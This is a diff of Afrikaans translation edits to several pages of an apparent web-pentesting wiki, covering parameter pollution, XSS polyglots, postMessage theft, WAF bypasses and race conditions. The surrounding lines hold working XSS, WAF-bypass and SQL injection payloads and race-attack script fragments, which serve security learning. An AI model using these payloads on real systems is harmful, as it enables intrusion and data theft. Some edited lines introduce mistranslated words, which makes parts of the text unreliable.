 - **Scenario:** 'n Toepassing laat gebruikers toe om hul API sleutel deur 'n profielinstellingsbladsy op te dateer.
 - **Aanval Vektor:** 'n Aanvaller ontdek dat deur 'n addisionele `api_key` parameter aan die POST versoek toe te voeg, hulle die uitkoms van die API sleutel opdateringsfunksie kan manipuleer.
 - **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, skep die aanvaller 'n versoek wat twee `api_key` parameters insluit: een wettig en een kwaadwillig. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API sleutel na die aanvaller se verskafde waarde op.
-- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloofde maak.
+- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloofde kan maak.
 
 Hierdie voorbeeld beklemtoon verder die noodsaaklikheid van veilige parameter hantering, veral in funksies so krities soos API sleutel bestuur.
 
 ### Parameter Parsing: Flask vs. PHP
 
-Die manier waarop webtegnologieë duplikaat HTTP parameters hanteer, verskil, wat hul kwesbaarheid vir HPP aanvalle beïnvloed:
+Die manier waarop webtegnologieë duplikaat HTTP parameters hanteer, verskil, wat hul vatbaarheid vir HPP aanvalle beïnvloed:
 
-- **Flask:** Neem die eerste parameterwaarde wat teëgekom word, soos `a=1` in 'n vrae string `a=1&a=2`, en prioritiseer die aanvanklike voorkoms bo daaropvolgende duplikate.
-- **PHP (op Apache HTTP Server):** Daarenteen prioritiseer die laaste parameterwaarde, en kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP eksploitatie fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
+- **Flask:** Neem die eerste parameter waarde wat teëgekom word, soos `a=1` in 'n query string `a=1&a=2`, en prioritiseer die aanvanklike voorkoms bo daaropvolgende duplikate.
+- **PHP (op Apache HTTP Server):** Teenwoordig prioritiseer die laaste parameter waarde, wat kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP exploits fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
 
-## Parameter besmetting volgens tegnologie
+## Parameter besoedeling deur tegnologie
 
 Daar resultate is geneem van [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
 
@@ -70,7 +70,7 @@ Daar resultate is geneem van [https://medium.com/@0xAwali/http-parameter-polluti
 <figure><img src="../images/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
 
 1. Gebruik die & en ; afdelers om parameters te skei.
-2. Nie Erken naam\[].
+2. Nie Erken naam\[] nie.
 3. Gee voorkeur aan die eerste parameter.
 
 ### Spring MVC 6.0.23 EN Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Die doel van hierdie PoCs en Polygloths is om die toetsers 'n vinnige **opsomming** te gee van kwesbaarhede wat hulle mag benut as hul **invoer op een of ander manier in die antwoord weerspieël word**.
+Die doel van hierdie PoCs en Polygloths is om die toetsers 'n vinnige **opsomming** te gee van kwesbaarhede wat hy mag benut as sy **invoer op een of ander manier in die antwoord weerspieël word**.
 
 > [!WARNING]
 > Hierdie **cheatsheet stel nie 'n omvattende lys van toetse vir elke kwesbaarheid voor nie**, net 'n paar basiese. As jy op soek is na meer omvattende toetse, toegang tot elke voorgestelde kwesbaarheid.
@@ -50,7 +50,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```
-## [Client Side Template Injection](../client-side-template-injection-csti.md)
+## [Kliëntkant Sjabloon Inspuiting](../client-side-template-injection-csti.md)
 
 ### Basiese Toetse
 ```

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -38,7 +38,7 @@ As die **wildcard** gebruik word, kan **boodskappe na enige domein gestuur word*
 
 ### Aanval op iframe & wildcard in **targetOrigin**
 
-Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** stuur met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\
+Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming) en wat **sensitiewe** boodskap via **postMessage** stuur met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\
 Let wel dat as die bladsy iframed kan word, maar die **targetOrigin** **op 'n URL en nie op 'n wildcard** gestel is, hierdie **truuk sal nie werk**.
 ```markup
 <html>
@@ -95,7 +95,7 @@ Om **gebeurtenisluisteraars** in die huidige bladsy te **vind**, kan jy:
 "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
 ```
 
-- Die **`search()`** metode van `String.prototype.search()` is bedoel vir gereelde uitdrukkings, nie stringe nie. Om enigiets anders as 'n regexp deur te gee lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex, 'n punt (.) as 'n wildcard optree, wat omseilings van validasie met spesiaal saamgestelde domeine moontlik maak. Byvoorbeeld:
+- Die **`search()`** metode van `String.prototype.search()` is bedoel vir gereelde uitdrukkings, nie strings nie. Om enigiets anders as 'n regexp deur te gee lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex, 'n punt (.) as 'n wildcard optree, wat omseilings van validasie met spesiaal saamgestelde domeine moontlik maak. Byvoorbeeld:
 
 ```javascript
 "https://www.safedomain.com".search("www.s.fedomain.com")
@@ -120,17 +120,17 @@ result = u(new Error("'\"<b>\\"))
 result.message // "'"<b>\"
 ```
 
-In die konteks van hierdie kwesbaarheid is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie deur die `escapeHtml` funksie gesaniteer nie, wat tot potensiële sekuriteitsrisiko's lei.
+In die konteks van hierdie kwesbaarheid is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie deur die `escapeHtml` funksie gesaniteer nie, wat lei tot potensiële sekuriteitsrisiko's.
 
-- Die `document.domain` eienskap in JavaScript kan deur 'n skrip gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak.
+- Die `document.domain` eienskap in JavaScript kan deur 'n skrif gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak.
 
 ### e.origin == window.origin omseiling
 
-Wanneer 'n webblad binne 'n **sandboxed iframe** met %%%%%% ingebed word, is dit belangrik om te verstaan dat die iframe se oorsprong op null gestel sal word. Dit is veral belangrik wanneer daar met **sandbox eienskappe** en hul implikasies op sekuriteit en funksionaliteit gewerk word.
+Wanneer 'n webblad binne 'n **sandboxed iframe** ingebed word met %%%%%%, is dit belangrik om te verstaan dat die iframe se oorsprong op null gestel sal word. Dit is veral belangrik wanneer daar met **sandbox eienskappe** en hul implikasies op sekuriteit en funksionaliteit gewerk word.
 
 Deur **`allow-popups`** in die sandbox eienskap te spesifiseer, erf enige pop-up venster wat vanuit die iframe geopen word die sandbox beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit is, die pop-up venster se oorsprong ook op `null` gestel word, wat ooreenstem met die iframe se oorsprong.
 
-Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sender en ontvanger se oorspronge op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel.
+Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sending en ontvangende kante hul oorspronge op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel.
 
 Vir meer inligting **lees**:
 
@@ -140,14 +140,14 @@ bypassing-sop-with-iframes-1.md
 
 ### Omseiling van e.source
 
-Dit is moontlik om te kontroleer of die boodskap van dieselfde venster afkomstig is waar die skrip na luister (spesiaal interessant vir **Inhoud Skripte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
+Dit is moontlik om te kontroleer of die boodskap van dieselfde venster kom waarin die skrif luister (spesiaal interessant vir **Inhoud Skrifte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
 ```javascript
 // If it’s not, return immediately.
 if (received_message.source !== window) {
 return
 }
 ```
-U kan **`e.source`** van 'n boodskap dwing om null te wees deur 'n **iframe** te skep wat die **postMessage** **stuur** en **onmiddellik verwyder** word.
+U kan **`e.source`** van 'n boodskap dwing om null te wees deur 'n **iframe** te skep wat die **postMessage** **stuur** en **dadelik verwyder** word.
 
 Vir meer inligting **lees:**
 
@@ -165,7 +165,7 @@ var w=window.open("<url>")
 setTimeout(function(){w.postMessage('text here','*');}, 2000);
 </script>
 ```
-### Dief van boodskap wat na kind gestuur is deur die hoofblad te blokkeer
+### Diefstal van boodskap wat na kind gestuur is deur die hoofblad te blokkeer
 
 In die volgende bladsy kan jy sien hoe jy 'n **sensitiewe postmessage data** wat na 'n **kind iframe** gestuur is, kan steel deur die **hoof** bladsy te **blokkeer** voordat die data gestuur word en 'n **XSS in die kind** te **misbruik** om die data te **lek** voordat dit ontvang word:
 
@@ -173,7 +173,7 @@ In die volgende bladsy kan jy sien hoe jy 'n **sensitiewe postmessage data** wat
 blocking-main-page-to-steal-postmessage.md
 {{#endref}}
 
-### Dief van boodskap deur iframe ligging te verander
+### Diefstal van boodskap deur iframe ligging te verander
 
 As jy 'n webblad kan iframe sonder X-Frame-Header wat 'n ander iframe bevat, kan jy die **ligging van daardie kind iframe** **verander**, so as dit 'n **postmessage** ontvang wat met 'n **wildcard** gestuur is, kan 'n aanvaller daardie iframe **oorsprong** na 'n bladsy **onder sy beheer** **verander** en die boodskap **steel**:
 

src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md

@@ -7,12 +7,12 @@
 Volgens hierdie [**Terjanq skrywe**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) is blob-dokumente wat van nul oorspronge geskep is, geïsoleer vir sekuriteitsvoordele, wat beteken dat as jy die hoofblad besig hou, die iframe-blad uitgevoer gaan word.
 
 Basies in daardie uitdaging word 'n **geïsoleerde iframe uitgevoer** en reg **na** dit **gelaai** is, gaan die **ouer** blad 'n **post** boodskap met die **vlag** **stuur**.\
-Egter, daardie postmessage kommunikasie is **kwulnerabel vir XSS** (die **iframe** kan JS-kode uitvoer).
+Echter, daardie postmessage kommunikasie is **kwulnerbaar vir XSS** (die **iframe** kan JS-kode uitvoer).
 
 Daarom is die doel van die aanvaller om die **ouer te laat die iframe skep**, maar **voor** die **ouer** blad **die** sensitiewe data (**vlag**) **stuur**, **hou dit besig** en stuur die **payload na die iframe**. Terwyl die **ouer besig is**, voer die **iframe die payload** uit wat 'n paar JS sal wees wat sal luister vir die **ouer postmessage boodskap en die vlag sal lek**.\
 Uiteindelik het die iframe die payload uitgevoer en die ouerblad stop om besig te wees, so dit stuur die vlag en die payload lek dit.
 
-Maar hoe kan jy die ouer laat **besig wees reg nadat dit die iframe gegenereer het en net terwyl dit wag vir die iframe om gereed te wees om die sensitiewe data te stuur?** Basies, jy moet 'n **async** **aksie** vind wat jy die ouer kan laat **uitvoer**. Byvoorbeeld, in daardie uitdaging was die ouer **aan die luister** na **postmessages** soos volg:
+Maar hoe kan jy die ouer laat **besig wees reg nadat dit die iframe gegenereer het en net terwyl dit wag vir die iframe om gereed te wees om die sensitiewe data te stuur?** Basies, jy moet 'n **async** **aksie** vind wat jy die ouer kan **uitvoer**. Byvoorbeeld, in daardie uitdaging was die ouer **aan die luister** na **postmessages** soos volg:
 ```javascript
 window.addEventListener("message", (e) => {
 if (e.data == "blob loaded") {

src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

@@ -14,9 +14,9 @@ As hy dit doen, kan hy 'n **postmessage** met HTML-inhoud stuur wat in die blads
 
 Die manier om die **eerste kontrole** te omseil, is deur **`window.calc.contentWindow`** na **`undefined`** en **`e.source`** na **`null`** te maak:
 
-- **`window.calc.contentWindow`** is eintlik **`document.getElementById("calc")`**. Jy kan **`document.getElementById`** oorheers met **`<img name=getElementById />`** (let op dat die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie gekonfigureer is om teen DOM oorheersingaanvalle in sy standaardtoestand te beskerm nie).
+- **`window.calc.contentWindow`** is eintlik **`document.getElementById("calc")`**. Jy kan **`document.getElementById`** oorheers met **`<img name=getElementById />`** (let op dat die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie gekonfigureer is om teen DOM oorheersing aanvalle in sy standaardtoestand te beskerm nie).
 - Daarom kan jy **`document.getElementById("calc")`** oorheers met **`<img name=getElementById /><div id=calc></div>`**. Dan sal **`window.calc`** **`undefined`** wees.
-- Nou moet ons hê dat **`e.source`** **`undefined`** of **`null`** moet wees (want `==` word gebruik in plaas van `===`, **`null == undefined`** is **`True`**). Om dit te kry, is "maklik". As jy 'n **iframe** skep en 'n **postMessage** daaruit stuur en onmiddellik die iframe **verwyder**, sal **`e.origin`** **`null`** wees. Kontroleer die volgende kode
+- Nou moet ons hê dat **`e.source`** **`undefined`** of **`null`** moet wees (want `==` word gebruik in plaas van `===`, **`null == undefined`** is **`True`**). Om dit te kry is "maklik". As jy 'n **iframe** skep en 'n **postMessage** daaruit stuur en onmiddellik die iframe **verwyder**, sal **`e.origin`** **`null`** wees. Kyk na die volgende kode
 ```javascript
 let iframe = document.createElement("iframe")
 document.body.appendChild(iframe)

src/pentesting-web/proxy-waf-protections-bypass.md

@@ -74,8 +74,8 @@ deny all;
 
 ### Pad Verwarring
 
-[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12), **die `REQUEST_FILENAME`** veranderlike onvanpas geïmplementeer het wat bedoel was om die toeganklike pad (tot die begin van die parameters) te bevat. Dit is omdat dit 'n URL-dekodeer uitgevoer het om die pad te verkry.\
-Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security veronderstel dat die pad net `/foo` is omdat `%3f` in `?` omgeskakel word wat die URL-pad beëindig, maar eintlik sal die pad wat 'n bediener ontvang `/foo%3f';alert(1);foo=` wees.
+[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12), **die `REQUEST_FILENAME`** veranderlike onvanpas geïmplementeer het wat veronderstel was om die toeganklike pad (tot die begin van die parameters) te bevat. Dit is omdat dit 'n URL-dekodeer uitgevoer het om die pad te verkry.\
+Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security veronderstel dat die pad net `/foo` is omdat `%3f` in `?` omgeskakel word wat die URL-pad beëindig, maar eintlik sal die pad wat 'n bediener sal ontvang `/foo%3f';alert(1);foo=` wees.
 
 Die veranderlikes `REQUEST_BASENAME` en `PATH_INFO` was ook deur hierdie fout geraak.
 
@@ -110,14 +110,14 @@ Gewoonlik het WAFs 'n sekere lengtebeperking van versoeke om te kontroleer, en a
 
 - Van [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 
-Ou Web-toepassing-vuurmure met Core Rule Set 3.1 (of laer) laat boodskappe groter as **128 KB** toe deur versoekliggaamondersoek af te skakel, maar hierdie boodskappe sal nie op kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer) kan dieselfde gedoen word deur die maksimum versoekliggaamlimiet te deaktiveer. Wanneer 'n versoek die groottegrens oorskry:
+Ou Web Application Firewalls met Core Rule Set 3.1 (of laer) laat boodskappe groter as **128 KB** toe deur versoekliggaamondersoek af te skakel, maar hierdie boodskappe sal nie op kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer) kan dieselfde gedoen word deur die maksimum versoekliggaamlimiet te deaktiveer. Wanneer 'n versoek die groottegrens oorskry:
 
 As p**reventiemodus**: Teken die versoek aan en blokkeer dit.\
 As **deteksie-modus**: Ondersoek tot by die limiet, ignoreer die res, en teken aan as die `Content-Length` die limiet oorskry.
 
 - Van [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
 
-Standaard ondersoek die WAF slegs die eerste 8KB van 'n versoek. Dit kan die limiet verhoog tot 128KB deur Gevorderde Metadata by te voeg.
+Standaard ondersoek die WAF slegs die eerste 8KB van 'n versoek. Dit kan die limiet tot 128KB verhoog deur Gevorderde Metadata by te voeg.
 
 - Van [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
 
@@ -133,7 +133,7 @@ Tot 128KB.
 ```
 ### Unicode Kompatibiliteit <a href="#unicode-compatability" id="unicode-compatability"></a>
 
-Afhangende van die implementering van Unicode normalisering (meer inligting [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), mag karakters wat Unicode kompatibiliteit deel, in staat wees om die WAF te omseil en as die bedoelde las te voer. Kompatible karakters kan [hier](https://www.compart.com/en/unicode) gevind word.
+Afhangende van die implementering van Unicode normalisering (meer inligting [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), kan karakters wat Unicode kompatibiliteit deel, in staat wees om die WAF te omseil en as die bedoelde las te voer. Kompatible karakters kan [hier](https://www.compart.com/en/unicode) gevind word.
 
 #### Voorbeeld <a href="#example" id="example"></a>
 ```bash
@@ -145,11 +145,11 @@ Afhangende van die implementering van Unicode normalisering (meer inligting [hie
 
 Soos genoem in [**hierdie blogpos**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), om WAFs te omseil wat 'n konteks van die gebruiker se invoer kan handhaaf, kan ons die WAF tegnieke misbruik om werklik die gebruiker se invoer te normaliseer.
 
-Byvoorbeeld, in die pos word genoem dat **Akamai 'n gebruiker se invoer 10 keer URL-decodeer**. Daarom sal iets soos `<input/%2525252525252525253e/onfocus` deur Akamai gesien word as `<input/>/onfocus` wat **mag dink dat dit reg is aangesien die etiket gesluit is**. egter, solank die toepassing nie die invoer 10 keer URL-decodeer nie, sal die slagoffer iets soos `<input/%25252525252525253e/onfocus` sien wat **nog steeds geldig is vir 'n XSS-aanval**.
+Byvoorbeeld, in die pos word genoem dat **Akamai 'n gebruiker se invoer 10 keer URL-decodeer**. Daarom sal iets soos `<input/%2525252525252525253e/onfocus` deur Akamai gesien word as `<input/>/onfocus` wat **kan dink dat dit reg is aangesien die etiket gesluit is**. egter, solank die toepassing nie die invoer 10 keer URL-decodeer nie, sal die slagoffer iets soos `<input/%25252525252525253e/onfocus` sien wat **nog steeds geldig is vir 'n XSS-aanval**.
 
 Daarom laat dit toe om **payloads in geënkodeerde komponente te verberg** wat die WAF sal decodeer en interpreteer terwyl die slagoffer nie.
 
-Boonop kan dit nie net met URL-geënkodeerde payloads gedoen word nie, maar ook met ander kodering soos unicode, hex, octal...
+Boonop kan dit nie net met URL-geënkodeerde payloads gedoen word nie, maar ook met ander kodering soos unicode, hex, oktale...
 
 In die pos word die volgende finale omseilings voorgestel:
 
@@ -158,7 +158,7 @@ In die pos word die volgende finale omseilings voorgestel:
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 
-Daar word ook genoem dat afhangende van **hoe sommige WAFs die konteks van die gebruiker se invoer verstaan**, dit moontlik mag wees om dit te misbruik. Die voorgestelde voorbeeld in die blog is dat Akamai toelaat het om enigiets tussen `/*` en `*/` te plaas (potensieel omdat dit algemeen as kommentaar gebruik word). Daarom sal 'n SQL-inspuiting soos `/*'or sleep(5)-- -*/` nie opgemerk word nie en sal geldig wees aangesien `/*` die beginstring van die inspuiting is en `*/` kommentaar is.
+Daar word ook genoem dat afhangende van **hoe sommige WAFs die konteks van die gebruiker se invoer verstaan**, dit moontlik is om dit te misbruik. Die voorgestelde voorbeeld in die blog is dat Akamai toelaat het om enigiets tussen `/*` en `*/` te plaas (potensieel omdat dit algemeen as kommentaar gebruik word). Daarom sal 'n SQL-inspuiting soos `/*'or sleep(5)-- -*/` nie opgemerk word nie en sal geldig wees aangesien `/*` die beginstring van die inspuiting is en `*/` kommentaar is.
 
 Hierdie tipe konteksprobleme kan ook gebruik word om **ander kwesbaarhede as die een wat verwag word** om deur die WAF uitgebuit te word, te misbruik (bv. dit kan ook gebruik word om 'n XSS aan te val).
 
@@ -170,7 +170,7 @@ h2c-smuggling.md
 
 ### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
 
-- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genereer 'n API-gateway URL om met ffuf gebruik te word
+- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genereer 'n API-gateway URL om met ffuf te gebruik
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Soortgelyk aan fireprox
 - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite-inprop wat API-gateway IP's gebruik
 - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 'n Dinamies bepaalde aantal houerinstansies word geaktiveer op grond van die invoer lêergrootte en splitsingsfaktor, met die invoer in stukke gesplitst vir parallelle uitvoering, soos 100 instansies wat 100 stukke van 'n 10,000-lyn invoer lêer met 'n splitsingsfaktor van 100 lyne verwerk.
@@ -178,7 +178,7 @@ h2c-smuggling.md
 
 ### Regex Bypasses
 
-Verskillende tegnieke kan gebruik word om die regex filters op die firewalls te omseil. Voorbeelde sluit in alternatiewe geval, die toevoeging van reëls breek, en die kodering van payloads. Hulpbronne vir die verskillende omseilings kan gevind word by [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) en [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die voorbeelde hieronder is uit [hierdie artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) geneem.
+Verskillende tegnieke kan gebruik word om die regex filters op die firewalls te omseil. Voorbeelde sluit in: alternatiewe geval, toevoeging van lynbreuke, en kodering van payloads. Hulpbronne vir die verskillende omseilings kan gevind word by [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) en [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die voorbeelde hieronder is uit [hierdie artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) geneem.
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"

src/pentesting-web/race-condition.md

@@ -14,7 +14,7 @@ Hier kan jy 'n paar tegnieke vir Sinchronisering van Versoeke vind:
 #### HTTP/2 Enkel-Pakket Aanval vs. HTTP/1.1 Laaste-Byte Sinchronisering
 
 - **HTTP/2**: Ondersteun die sending van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerk jitter verminder. egter, weens bediener-kant variasies, mag twee versoeke nie genoeg wees vir 'n konsekwente race condition uitbuiting nie.
-- **HTTP/1.1 'Laaste-Byte Sync'**: Maak dit moontlik om die meeste dele van 20-30 versoeke vooraf te stuur, terwyl 'n klein fragment teruggehou word, wat dan saamgestuur word, wat gelyktydige aankoms by die bediener bereik.
+- **HTTP/1.1 'Laaste-Byte Sync'**: Maak dit moontlik om die meeste dele van 20-30 versoeke vooraf te stuur, terwyl 'n klein fragment weerhou word, wat dan saamgestuur word, wat gelyktydige aankoms by die bediener bereik.
 
 **Voorbereiding vir Laaste-Byte Sync** behels:
 
@@ -23,13 +23,13 @@ Hier kan jy 'n paar tegnieke vir Sinchronisering van Versoeke vind:
 3. Deaktiveer TCP_NODELAY om Nagle se algoritme te benut vir die bundeling van finale rame.
 4. Ping om die verbinding op te warm.
 
-Die daaropvolgende sending van teruggehoue rame moet lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lêers nie, wat tipies nie betrokke is by RC-aanvalle nie.
+Die daaropvolgende sending van weerhoudende rame moet lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lêers nie, wat tipies nie betrokke is by RC-aanvalle nie.
 
 ### Aanpassing by Bediener Argitektuur
 
 Om die teiken se argitektuur te verstaan is van kardinale belang. Voorpunt bedieners mag versoeke anders roete, wat tydsberekening beïnvloed. Voorkomende bediener-kant verbinding opwarming, deur onbelangrike versoeke, mag versoek tydsberekening normaliseer.
 
-#### Hantering van Sessie-gebaseerde Vergrendeling
+#### Hantering van Sessie-gebaseerde Locking
 
 Raamwerke soos PHP se sessiehandler serialiseer versoeke volgens sessie, wat moontlik kwesbaarhede verdoesel. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.
 
@@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
 > [!WARNING]
 > As die web nie HTTP2 ondersteun nie (slegs HTTP1.1) gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
 
-- **Tubo Intruder - HTTP2 enkele-pakket aanval (Verskeie eindpunte)**: In die geval dat jy 'n versoek na 1 eindpunt moet stuur en dan verskeie na ander eindpunte om die RCE te aktiveer, kan jy die `race-single-packet-attack.py` skrip met iets soos verander:
+- **Tubo Intruder - HTTP2 enkele-pakket aanval (Verskeie eindpunte)**: In die geval dat jy 'n versoek na 1 eindpunt moet stuur en dan verskeie na ander eindpunte om die RCE te aktiveer, kan jy die `race-single-packet-attack.py` skrip met iets soos:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -86,12 +86,12 @@ engine.openGate(currentAttempt)
 - Dit is ook beskikbaar in **Repeater** via die nuwe '**Stuur groep parallel**' opsie in Burp Suite.
 - Vir **limit-overrun** kan jy net die **dieselfde versoek 50 keer** in die groep voeg.
 - Vir **connection warming** kan jy **byvoeg** aan die **begin** van die **groep** 'n paar **versoeke** na 'n nie-statiese deel van die webbediener.
-- Vir **delaying** die proses **tussen** die verwerking van **een versoek en 'n ander** in 'n 2 substates stappe, kan jy **extra versoeke tussen** beide versoeke voeg.
+- Vir **delaying** die proses **tussen** die verwerking van **een versoek en 'n ander** in 'n 2 substates stappe, kan jy **extra versoeke tussen** albei versoeke voeg.
 - Vir 'n **multi-endpoint** RC kan jy begin om die **versoek** te stuur wat **na die versteekte toestand** gaan en dan **50 versoeke** net daarna wat **die versteekte toestand** benut.
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **Geoutomatiseerde python skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasietoken van die nuwe e-pos by die laaste e-pos aankom (dit is omdat daar in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verifikasie na die ou een te stuur omdat die veranderlike wat die e-pos aandui reeds met die eerste een bevolk was).\
+- **Geoutomatiseerde python skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasietoken van die nuwe e-pos by die laaste e-pos aankom (dit is omdat daar in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig, maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een bevolk was).\
 Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons ons het die verifikasietoken van die veranderde e-pos ontvang en beëindig ons die aanval.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
@@ -231,7 +231,7 @@ Jy kan 'n paar voorbeelde van hierdie tegniek in die repo vind [https://github.c
